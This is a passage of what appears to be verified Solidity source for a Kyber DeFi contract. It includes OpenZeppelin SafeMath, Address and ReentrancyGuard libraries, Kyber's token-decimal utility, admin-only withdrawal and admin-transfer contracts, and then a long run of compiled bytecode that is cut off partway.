a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting with custom message when dividing by zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryMod}. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); return a % b; } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.2 <0.8.0; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; // solhint-disable-next-line no-inline-assembly assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: value }(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.staticcall(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.delegatecall(data); return _verifyCallResult(success, returndata, errorMessage); } function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // SPDX-License-Identifier: MIT pragma solidity 0.7.6; import "./IERC20Ext.sol"; /** * @title Kyber utility file * mostly shared constants and rate calculation helpers * inherited by most of kyber contracts. * previous utils implementations are for previous solidity versions. */ abstract contract Utils { // Declared constants below to be used in tandem with // getDecimalsConstant(), for gas optimization purposes // which return decimals from a constant list of popular // tokens. IERC20Ext internal constant ETH_TOKEN_ADDRESS = IERC20Ext( 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE ); IERC20Ext internal constant USDT_TOKEN_ADDRESS = IERC20Ext( 0xdAC17F958D2ee523a2206206994597C13D831ec7 ); IERC20Ext internal constant DAI_TOKEN_ADDRESS = IERC20Ext( 0x6B175474E89094C44Da98b954EedeAC495271d0F ); IERC20Ext internal constant USDC_TOKEN_ADDRESS = IERC20Ext( 0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48 ); IERC20Ext internal constant WBTC_TOKEN_ADDRESS = IERC20Ext( 0x2260FAC5E5542a773Aa44fBCfeDf7C193bc2C599 ); IERC20Ext internal constant KNC_TOKEN_ADDRESS = IERC20Ext( 0xdd974D5C2e2928deA5F71b9825b8b646686BD200 ); uint256 public constant BPS = 10000; // Basic Price Steps. 1 step = 0.01% uint256 internal constant PRECISION = (10**18); uint256 internal constant MAX_QTY = (10**28); // 10B tokens uint256 internal constant MAX_RATE = (PRECISION * 10**7); // up to 10M tokens per eth uint256 internal constant MAX_DECIMALS = 18; uint256 internal constant ETH_DECIMALS = 18; uint256 internal constant MAX_ALLOWANCE = uint256(-1); // token.approve inifinite mapping(IERC20Ext => uint256) internal decimals; /// @dev Sets the decimals of a token to storage if not already set, and returns /// the decimals value of the token. Prefer using this function over /// getDecimals(), to avoid forgetting to set decimals in local storage. /// @param token The token type /// @return tokenDecimals The decimals of the token function getSetDecimals(IERC20Ext token) internal returns (uint256 tokenDecimals) { tokenDecimals = getDecimalsConstant(token); if (tokenDecimals > 0) return tokenDecimals; tokenDecimals = decimals[token]; if (tokenDecimals == 0) { tokenDecimals = token.decimals(); decimals[token] = tokenDecimals; } } /// @dev Get the balance of a user /// @param token The token type /// @param user The user's address /// @return The balance function getBalance(IERC20Ext token, address user) internal view returns (uint256) { if (token == ETH_TOKEN_ADDRESS) { return user.balance; } else { return token.balanceOf(user); } } /// @dev Get the decimals of a token, read from the constant list, storage, /// or from token.decimals(). Prefer using getSetDecimals when possible. /// @param token The token type /// @return tokenDecimals The decimals of the token function getDecimals(IERC20Ext token) internal view returns (uint256 tokenDecimals) { // return token decimals if has constant value tokenDecimals = getDecimalsConstant(token); if (tokenDecimals > 0) return tokenDecimals; // handle case where token decimals is not a declared decimal constant tokenDecimals = decimals[token]; // moreover, very possible that old tokens have decimals 0 // these tokens will just have higher gas fees. return (tokenDecimals > 0) ? tokenDecimals : token.decimals(); } function calcDestAmount( IERC20Ext src, IERC20Ext dest, uint256 srcAmount, uint256 rate ) internal view returns (uint256) { return calcDstQty(srcAmount, getDecimals(src), getDecimals(dest), rate); } function calcSrcAmount( IERC20Ext src, IERC20Ext dest, uint256 destAmount, uint256 rate ) internal view returns (uint256) { return calcSrcQty(destAmount, getDecimals(src), getDecimals(dest), rate); } function calcDstQty( uint256 srcQty, uint256 srcDecimals, uint256 dstDecimals, uint256 rate ) internal pure returns (uint256) { require(srcQty <= MAX_QTY, "srcQty > MAX_QTY"); require(rate <= MAX_RATE, "rate > MAX_RATE"); if (dstDecimals >= srcDecimals) { require((dstDecimals - srcDecimals) <= MAX_DECIMALS, "dst - src > MAX_DECIMALS"); return (srcQty * rate * (10**(dstDecimals - srcDecimals))) / PRECISION; } else { require((srcDecimals - dstDecimals) <= MAX_DECIMALS, "src - dst > MAX_DECIMALS"); return (srcQty * rate) / (PRECISION * (10**(srcDecimals - dstDecimals))); } } function calcSrcQty( uint256 dstQty, uint256 srcDecimals, uint256 dstDecimals, uint256 rate ) internal pure returns (uint256) { require(dstQty <= MAX_QTY, "dstQty > MAX_QTY"); require(rate <= MAX_RATE, "rate > MAX_RATE"); //source quantity is rounded up. to avoid dest quantity being too low. uint256 numerator; uint256 denominator; if (srcDecimals >= dstDecimals) { require((srcDecimals - dstDecimals) <= MAX_DECIMALS, "src - dst > MAX_DECIMALS"); numerator = (PRECISION * dstQty * (10**(srcDecimals - dstDecimals))); denominator = rate; } else { require((dstDecimals - srcDecimals) <= MAX_DECIMALS, "dst - src > MAX_DECIMALS"); numerator = (PRECISION * dstQty); denominator = (rate * (10**(dstDecimals - srcDecimals))); } return (numerator + denominator - 1) / denominator; //avoid rounding down errors } function calcRateFromQty( uint256 srcAmount, uint256 destAmount, uint256 srcDecimals, uint256 dstDecimals ) internal pure returns (uint256) { require(srcAmount <= MAX_QTY, "srcAmount > MAX_QTY"); require(destAmount <= MAX_QTY, "destAmount > MAX_QTY"); if (dstDecimals >= srcDecimals) { require((dstDecimals - srcDecimals) <= MAX_DECIMALS, "dst - src > MAX_DECIMALS"); return ((destAmount * PRECISION) / ((10**(dstDecimals - srcDecimals)) * srcAmount)); } else { require((srcDecimals - dstDecimals) <= MAX_DECIMALS, "src - dst > MAX_DECIMALS"); return ((destAmount * PRECISION * (10**(srcDecimals - dstDecimals))) / srcAmount); } } /// @dev save storage access by declaring token decimal constants /// @param token The token type /// @return token decimals function getDecimalsConstant(IERC20Ext token) internal pure returns (uint256) { if (token == ETH_TOKEN_ADDRESS) { return ETH_DECIMALS; } else if (token == USDT_TOKEN_ADDRESS) { return 6; } else if (token == DAI_TOKEN_ADDRESS) { return 18; } else if (token == USDC_TOKEN_ADDRESS) { return 6; } else if (token == WBTC_TOKEN_ADDRESS) { return 8; } else if (token == KNC_TOKEN_ADDRESS) { return 18; } else { return 0; } } function minOf(uint256 x, uint256 y) internal pure returns (uint256) { return x > y ? y : x; } } // SPDX-License-Identifier: MIT pragma solidity 0.7.6; import "@openzeppelin/contracts/token/ERC20/SafeERC20.sol"; import "./IERC20Ext.sol"; import "./PermissionAdmin.sol"; abstract contract Withdrawable is PermissionAdmin { using SafeERC20 for IERC20Ext; event TokenWithdraw(IERC20Ext token, uint256 amount, address sendTo); event EtherWithdraw(uint256 amount, address sendTo); constructor(address _admin) PermissionAdmin(_admin) {} /** * @dev Withdraw all IERC20Ext compatible tokens * @param token IERC20Ext The address of the token contract */ function withdrawToken( IERC20Ext token, uint256 amount, address sendTo ) external onlyAdmin { token.safeTransfer(sendTo, amount); emit TokenWithdraw(token, amount, sendTo); } /** * @dev Withdraw Ethers */ function withdrawEther(uint256 amount, address payable sendTo) external onlyAdmin { (bool success, ) = sendTo.call{value: amount}(""); require(success, "withdraw failed"); emit EtherWithdraw(amount, sendTo); } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /** * @dev Contract module that helps prevent reentrant calls to a function. * * Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier * available, which can be applied to functions to make sure there are no nested * (reentrant) calls to them. * * Note that because there is a single `nonReentrant` guard, functions marked as * `nonReentrant` may not call one another. This can be worked around by making * those functions `private`, and then adding `external` `nonReentrant` entry * points to them. * * TIP: If you would like to learn more about reentrancy and alternative ways * to protect against it, check out our blog post * https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul]. */ abstract contract ReentrancyGuard { // Booleans are more expensive than uint256 or any type that takes up a full // word because each write operation emits an extra SLOAD to first read the // slot's contents, replace the bits taken up by the boolean, and then write // back. This is the compiler's defense against contract upgrades and // pointer aliasing, and it cannot be disabled. // The values being non-zero value makes deployment a bit more expensive, // but in exchange the refund on every call to nonReentrant will be lower in // amount. Since refunds are capped to a percentage of the total // transaction's gas, it is best to keep them low in cases like this one, to // increase the likelihood of the full refund coming into effect. uint256 private constant _NOT_ENTERED = 1; uint256 private constant _ENTERED = 2; uint256 private _status; constructor () internal { _status = _NOT_ENTERED; } /** * @dev Prevents a contract from calling itself, directly or indirectly. * Calling a `nonReentrant` function from another `nonReentrant` * function is not supported. It is possible to prevent this from happening * by making the `nonReentrant` function external, and make it call a * `private` function that does the actual work. */ modifier nonReentrant() { // On the first call to nonReentrant, _notEntered will be true require(_status != _ENTERED, "ReentrancyGuard: reentrant call"); // Any calls to nonReentrant after this point will fail _status = _ENTERED; _; // By storing the original value once again, a refund is triggered (see // https://eips.ethereum.org/EIPS/eip-2200) _status = _NOT_ENTERED; } } // SPDX-License-Identifier: MIT pragma solidity 0.7.6; abstract contract PermissionAdmin { address public admin; address public pendingAdmin; event AdminClaimed(address newAdmin, address previousAdmin); event TransferAdminPending(address pendingAdmin); constructor(address _admin) { require(_admin != address(0), "admin 0"); admin = _admin; } modifier onlyAdmin() { require(msg.sender == admin, "only admin"); _; } /** * @dev Allows the current admin to set the pendingAdmin address. * @param newAdmin The address to transfer ownership to. */ function transferAdmin(address newAdmin) public onlyAdmin { require(newAdmin != address(0), "new admin 0"); emit TransferAdminPending(newAdmin); pendingAdmin = newAdmin; } /** * @dev Allows the current admin to set the admin in one tx. Useful initial deployment. * @param newAdmin The address to transfer ownership to. */ function transferAdminQuickly(address newAdmin) public onlyAdmin { require(newAdmin != address(0), "admin 0"); emit TransferAdminPending(newAdmin); emit AdminClaimed(newAdmin, admin); admin = newAdmin; } /** * @dev Allows the pendingAdmin address to finalize the change admin process. */ function claimAdmin() public { require(pendingAdmin == msg.sender, "not pending"); emit AdminClaimed(pendingAdmin, admin); admin = pendingAdmin; pendingAdmin = address(0); } }
0x6080604052600436106101125760003560e01c80637acc8678116100a5578063ce56c45411610074578063e28c413511610059578063e28c4135146102d6578063f851a440146102f6578063fcd1f1481461030b57610119565b8063ce56c45414610288578063d282662f146102a857610119565b80637acc867814610215578063a03f2a0b14610235578063a7c4779714610248578063bc6555431461026857610119565b806335c7c3cf116100e157806335c7c3cf1461019e5780633ccdbb28146101c057806375829def146101e057806377f50f971461020057610119565b806323fcd0c91461011e578063249d39e91461015457806326782247146101695780632db897d01461018b57610119565b3661011957005b600080fd5b34801561012a57600080fd5b5061013e61013936600461372e565b61031e565b60405161014b91906138fd565b60405180910390f35b34801561016057600080fd5b5061013e610704565b34801561017557600080fd5b5061017e61070a565b60405161014b9190613906565b61013e6101993660046136f5565b610719565b3480156101aa57600080fd5b506101be6101b9366004613502565b61086e565b005b3480156101cc57600080fd5b506101be6101db3660046135f0565b610aa6565b3480156101ec57600080fd5b506101be6101fb366004613492565b610b55565b34801561020c57600080fd5b506101be610c67565b34801561022157600080fd5b506101be610230366004613492565b610d46565b61013e610243366004613683565b610ea0565b34801561025457600080fd5b5061013e6102633660046134ca565b6111de565b34801561027457600080fd5b506101be61028336600461356b565b6111fb565b34801561029457600080fd5b506101be6102a3366004613757565b61134a565b3480156102b457600080fd5b506102c86102c3366004613650565b611484565b60405161014b929190613e71565b3480156102e257600080fd5b506102c86102f1366004613650565b611852565b34801561030257600080fd5b5061017e611a57565b61013e6103193660046136bc565b611a66565b600060026003541415610378576040805162461bcd60e51b815260206004820152601f60248201527f5265656e7472616e637947756172643a207265656e7472616e742063616c6c00604482015290519081900360640190fd5b600260035561039561038d6020840184613492565b600990611fb5565b6103ba5760405162461bcd60e51b81526004016103b190613b18565b60405180910390fd5b60006103c96020840184613492565b6001600160a01b03166310c760776103e76040860160208701613492565b6040518263ffffffff1660e01b81526004016104039190613906565b60206040518083038186803b15801561041b57600080fd5b505afa15801561042f573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061045391906134ae565b90506001600160a01b03811661047b5760405162461bcd60e51b81526004016103b190613bbd565b60006001600160a01b0382166370a082316104996020870187613492565b6040518263ffffffff1660e01b81526004016104b59190613906565b60206040518083038186803b1580156104cd57600080fd5b505afa1580156104e1573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610505919061373f565b905061052e336105186020870187613492565b6001600160a01b03851691906040880135611fd3565b60006001600160a01b0383166370a0823161054c6020880188613492565b6040518263ffffffff1660e01b81526004016105689190613906565b60206040518083038186803b15801561058057600080fd5b505afa158015610594573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906105b8919061373f565b90506105c76020860186613492565b6001600160a01b031663d4fdc309336105e66040890160208a01613492565b6105f08587612033565b89606001356040518563ffffffff1660e01b8152600401610614949392919061393e565b602060405180830381600087803b15801561062e57600080fd5b505af1158015610642573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610666919061373f565b9350846060013584101561068c5760405162461bcd60e51b81526004016103b190613d07565b6106996020860186613492565b6001600160a01b0316337f8535f320ef164ed88035c05c538ac8c71ab5fba9c64bc06794378060332042fc6106d46040890160208a01613492565b88604001358960600135896040516106ef9493929190613adf565b60405180910390a35050600160035550919050565b61271081565b6002546001600160a01b031681565b600060026003541415610773576040805162461bcd60e51b815260206004820152601f60248201527f5265656e7472616e637947756172643a207265656e7472616e742063616c6c00604482015290519081900360640190fd5b60026003556107d76107886020840184613492565b6020840135604085013561079f6060870187613e7f565b336107b060a08a0160808b01613631565b60a08a01356107c560e08c0160c08d01613492565b6107d260e08d018d613ec6565b612090565b90506107e66020830183613492565b6001600160a01b0316337ff23fb97e8642200d71532c9c5ae884a9236ca6b8eb58fed071a7cc3f2ac4161d61081e6060860186613e7f565b60208701358661083460a08a0160808b01613631565b60a08a013561084960e08c0160c08d01613492565b60405161085c97969594939291906139fc565b60405180910390a36001600355919050565b600260035414156108c6576040805162461bcd60e51b815260206004820152601f60248201527f5265656e7472616e637947756172643a207265656e7472616e742063616c6c00604482015290519081900360640190fd5b600260035560005b83811015610a5b5760005b82811015610a52576000600460008888868181106108f357fe5b90506020020160208101906109089190613492565b6001600160a01b03166001600160a01b03168152602001908152602001600020600086868581811061093657fe5b905060200201602081019061094b9190613492565b6001600160a01b03166001600160a01b031681526020019081526020016000205490506001811115610a495760016004600089898781811061098957fe5b905060200201602081019061099e9190613492565b6001600160a01b03166001600160a01b0316815260200190815260200160002060008787868181106109cc57fe5b90506020020160208101906109e19190613492565b6001600160a01b03168152602081019190915260400160002055610a49878785818110610a0a57fe5b9050602002016020810190610a1f9190613492565b868685818110610a2b57fe5b9050602002016020810190610a409190613492565b60018403612359565b506001016108d9565b506001016108ce565b507fcbef5ab8ab58a3dba86704ce124241889d80c3a5fe3caaf4286b7e8c709a6c2d8484848433604051610a939594939291906139b9565b60405180910390a1505060016003555050565b6001546001600160a01b03163314610af2576040805162461bcd60e51b815260206004820152600a60248201526937b7363c9030b236b4b760b11b604482015290519081900360640190fd5b610b066001600160a01b0384168284612423565b604080516001600160a01b0380861682526020820185905283168183015290517f72cb8a894ddb372ceec3d2a7648d86f17d5a15caae0e986c53109b8a9a9385e69181900360600190a1505050565b6001546001600160a01b03163314610ba1576040805162461bcd60e51b815260206004820152600a60248201526937b7363c9030b236b4b760b11b604482015290519081900360640190fd5b6001600160a01b038116610bfc576040805162461bcd60e51b815260206004820152600b60248201527f6e65772061646d696e2030000000000000000000000000000000000000000000604482015290519081900360640190fd5b604080516001600160a01b038316815290517f3b81caf78fa51ecbc8acb482fd7012a277b428d9b80f9d156e8a54107496cc409181900360200190a16002805473ffffffffffffffffffffffffffffffffffffffff19166001600160a01b0392909216919091179055565b6002546001600160a01b03163314610cc6576040805162461bcd60e51b815260206004820152600b60248201527f6e6f742070656e64696e67000000000000000000000000000000000000000000604482015290519081900360640190fd5b600254600154604080516001600160a01b03938416815292909116602083015280517f65da1cfc2c2e81576ad96afb24a581f8e109b7a403b35cbd3243a1c99efdb9ed9281900390910190a1600280546001805473ffffffffffffffffffffffffffffffffffffffff199081166001600160a01b03841617909155169055565b6001546001600160a01b03163314610d92576040805162461bcd60e51b815260206004820152600a60248201526937b7363c9030b236b4b760b11b604482015290519081900360640190fd5b6001600160a01b038116610ded576040805162461bcd60e51b815260206004820152600760248201527f61646d696e203000000000000000000000000000000000000000000000000000604482015290519081900360640190fd5b604080516001600160a01b038316815290517f3b81caf78fa51ecbc8acb482fd7012a277b428d9b80f9d156e8a54107496cc409181900360200190a1600154604080516001600160a01b038085168252909216602083015280517f65da1cfc2c2e81576ad96afb24a581f8e109b7a403b35cbd3243a1c99efdb9ed9281900390910190a16001805473ffffffffffffffffffffffffffffffffffffffff19166001600160a01b0392909216919091179055565b600060026003541415610efa576040805162461bcd60e51b815260206004820152601f60248201527f5265656e7472616e637947756172643a207265656e7472616e742063616c6c00604482015290519081900360640190fd5b60026003556001610f0e6080840184613e7f565b90501015610f2e5760405162461bcd60e51b81526004016103b190613d3e565b610f4161038d6040840160208501613492565b610f5d5760405162461bcd60e51b81526004016103b190613b18565b610f6a6080830183613e7f565b90506001141561101357610fae610f846080840184613e7f565b6000818110610f8f57fe5b9050602002016020810190610fa49190613492565b8360400135612475565b61100c33610fc26040850160208601613492565b610fcf6080860186613e7f565b6000818110610fda57fe5b9050602002016020810190610fef9190613492565b60408601356000611007610100890160e08a01613492565b6124e0565b9050611081565b61107e6110236020840184613492565b6040840135606085013561103a6080870187613e7f565b61104a6040890160208a01613492565b61105a60c08a0160a08b01613631565b60c08a01356110706101008c0160e08d01613492565b6107d26101008d018d613ec6565b90505b6110916040830160208401613492565b6001600160a01b031663f213159c336110ad6080860186613e7f565b60016110bc6080890189613e7f565b9050038181106110c857fe5b90506020020160208101906110dd9190613492565b846040518463ffffffff1660e01b81526004016110fc9392919061391a565b600060405180830381600087803b15801561111657600080fd5b505af115801561112a573d6000803e3d6000fd5b5061113f925050506040830160208401613492565b6001600160a01b03166111556020840184613492565b6001600160a01b0316337f2edafe685397c056fa62be1804788786cdeac9ce01277e8216c4a3718011572361118d6080870187613e7f565b6040880135876111a360c08b0160a08c01613631565b60c08b01356111b96101008d0160e08e01613492565b6040516111cc97969594939291906139fc565b60405180910390a46001600355919050565b600460209081526000928352604080842090915290825290205481565b6001546001600160a01b03163314611247576040805162461bcd60e51b815260206004820152600a60248201526937b7363c9030b236b4b760b11b604482015290519081900360640190fd5b60008161125657600019611259565b60005b905060005b858110156113025760005b848110156112cf576112c786868381811061128057fe5b90506020020160208101906112959190613492565b848a8a868181106112a257fe5b90506020020160208101906112b79190613492565b6001600160a01b03169190612730565b600101611269565b506112f98787838181106112df57fe5b90506020020160208101906112f49190613492565b612843565b5060010161125e565b507ff34c5ed704407ea33d210cd1c76959be869adc80531ee3b3c93229fb606ac16e868686868660405161133a959493929190613aa3565b60405180910390a1505050505050565b6001546001600160a01b03163314611396576040805162461bcd60e51b815260206004820152600a60248201526937b7363c9030b236b4b760b11b604482015290519081900360640190fd5b6040516000906001600160a01b0383169084908381818185875af1925050503d80600081146113e1576040519150601f19603f3d011682016040523d82523d6000602084013e6113e6565b606091505b505090508061143c576040805162461bcd60e51b815260206004820152600f60248201527f7769746864726177206661696c65640000000000000000000000000000000000604482015290519081900360640190fd5b604080518481526001600160a01b038416602082015281517fec47e7ed86c86774d1a72c19f35c639911393fe7c1a34031fdbd260890da90de929181900390910190a1505050565b60008061271083608001351061149f5750600090508061184d565b600060016114b36080860160608701613631565b60028111156114be57fe5b146114cd5783602001356114df565b61271060208501356080860135820102045b90506114ee6020850185613492565b6001600160a01b0316634db1d03d604051806080016040528084815260200187806040019061151d9190613e7f565b80806020026020016040519081016040528093929190818152602001838360200280828437600092019190915250505090825250602001600261156660808a0160608b01613631565b600281111561157157fe5b1461157d576000611583565b87608001355b815260200161159560a0890189613ec6565b8080601f01602080910402602001604051908101604052809392919081815260200183838082843760009201919091525050509152506040516001600160e01b031960e084901b1681526115ec9190600401613de3565b60206040518083038186803b15801561160457600080fd5b505afa925050508015611634575060408051601f3d908101601f191682019092526116319181019061373f565b60015b6117a557611640613f3d565b8061164b5750611796565b61168a816040518060400160405280601a81526020017f6765744578706563746564496e5f6e6f74537570706f72746564000000000000815250612908565b81906116a95760405162461bcd60e51b81526004016103b19190613b05565b5061178e6116ba6020870187613492565b60405180608001604052808581526020018880604001906116db9190613e7f565b80806020026020016040519081016040528093929190818152602001838360200280828437600092019190915250505090825250602001600261172460808b0160608c01613631565b600281111561172f57fe5b1461173b576000611741565b88608001355b815260200161175360a08a018a613ec6565b8080601f0160208091040260200160405190810160405280939291908181526020018383808284376000920191909152505050915250612961565b9350506117a0565b3d6000803e3d6000fd5b6117a8565b92505b60006117ba6080860160608701613631565b60028111156117c557fe5b14156117db576127106080850135810184020492505b6118498360208601356118196117f46040890189613e7f565b60008181106117ff57fe5b90506020020160208101906118149190613492565b612c2e565b61184461182960408a018a613e7f565b600161183860408d018d613e7f565b9050038181106117ff57fe5b612cd2565b9150505b915091565b60008061271083608001351061186d5750600090508061184d565b6000806118806080860160608701613631565b600281111561188b57fe5b1461189a5783602001356118ac565b61271060208501356080860135820302045b90506118bb6020850185613492565b6001600160a01b03166343bea4b360405180608001604052808481526020018780604001906118ea9190613e7f565b80806020026020016040519081016040528093929190818152602001838360200280828437600092019190915250505090825250602001600261193360808a0160608b01613631565b600281111561193e57fe5b1461194a576000611950565b87608001355b815260200161196260a0890189613ec6565b8080601f01602080910402602001604051908101604052809392919081815260200183838082843760009201919091525050509152506040516001600160e01b031960e084901b1681526119b99190600401613de3565b60206040518083038186803b1580156119d157600080fd5b505afa1580156119e5573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611a09919061373f565b92506001611a1d6080860160608701613631565b6002811115611a2857fe5b1415611a3e576127106080850135810384020492505b6118496020850135846118196117f46040890189613e7f565b6001546001600160a01b031681565b600060026003541415611ac0576040805162461bcd60e51b815260206004820152601f60248201527f5265656e7472616e637947756172643a207265656e7472616e742063616c6c00604482015290519081900360640190fd5b60026003556001611ad46080840184613e7f565b90501015611af45760405162461bcd60e51b81526004016103b190613d3e565b611b0761038d6040840160208501613492565b611b235760405162461bcd60e51b81526004016103b190613b18565b6000611b356040840160208501613492565b6001600160a01b031663e5c641b6611b506080860186613e7f565b6001611b5f6080890189613e7f565b905003818110611b6b57fe5b9050602002016020810190611b809190613492565b336040518363ffffffff1660e01b8152600401611b9e92919061399f565b602060405180830381600087803b158015611bb857600080fd5b505af1158015611bcc573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611bf0919061373f565b905060008360600135821015611c065781611c0c565b83606001355b9050611c1b6080850185613e7f565b905060011415611cc057611c5f611c356080860186613e7f565b6000818110611c4057fe5b9050602002016020810190611c559190613492565b8560400135612475565b611cb933611c736040870160208801613492565b611c806080880188613e7f565b6000818110611c8b57fe5b9050602002016020810190611ca09190613492565b604088013560006110076101208b016101008c01613492565b9250611d2b565b611d28611cd06020860186613492565b604086013583611ce36080890189613e7f565b611cf360408b0160208c01613492565b611d0360e08c0160c08d01613631565b60e08c0135611d1a6101208e016101008f01613492565b6107d26101208f018f613ec6565b92505b611d3b6040850160208601613492565b6001600160a01b03166339c3158a33611d576080880188613e7f565b6001611d6660808b018b613e7f565b905003818110611d7257fe5b9050602002016020810190611d879190613492565b86858960a00135604051602001611d9e91906138fd565b6040516020818303038152906040526040518663ffffffff1660e01b8152600401611dcd959493929190613967565b600060405180830381600087803b158015611de757600080fd5b505af1158015611dfb573d6000803e3d6000fd5b505050506000611ed9856020016020810190611e179190613492565b6001600160a01b031663e5c641b6611e326080890189613e7f565b6001611e4160808c018c613e7f565b905003818110611e4d57fe5b9050602002016020810190611e629190613492565b336040518363ffffffff1660e01b8152600401611e8092919061399f565b602060405180830381600087803b158015611e9a57600080fd5b505af1158015611eae573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611ed2919061373f565b8490612033565b905081811015611efb5760405162461bcd60e51b81526004016103b190613c2b565b611f0b6040860160208701613492565b6001600160a01b0316611f216020870187613492565b6001600160a01b0316337f3b623be279df32a44c2edd16708b64a952bd614abdd2a3bc2572786eaefd5ab3611f5960808a018a613e7f565b8a604001358a898d60c0016020810190611f739190613631565b8e60e001358f610100016020810190611f8c9190613492565b604051611fa0989796959493929190613a4c565b60405180910390a45050600160035550919050565b6000611fca836001600160a01b038416612e91565b90505b92915050565b604080516001600160a01b0380861660248301528416604482015260648082018490528251808303909101815260849091019091526020810180516001600160e01b03166323b872dd60e01b17905261202d908590612ea9565b50505050565b60008282111561208a576040805162461bcd60e51b815260206004820152601e60248201527f536166654d6174683a207375627472616374696f6e206f766572666c6f770000604482015290519081900360640190fd5b50900390565b600061209d60078d611fb5565b6120b95760405162461bcd60e51b81526004016103b190613b86565b60028810156120da5760405162461bcd60e51b815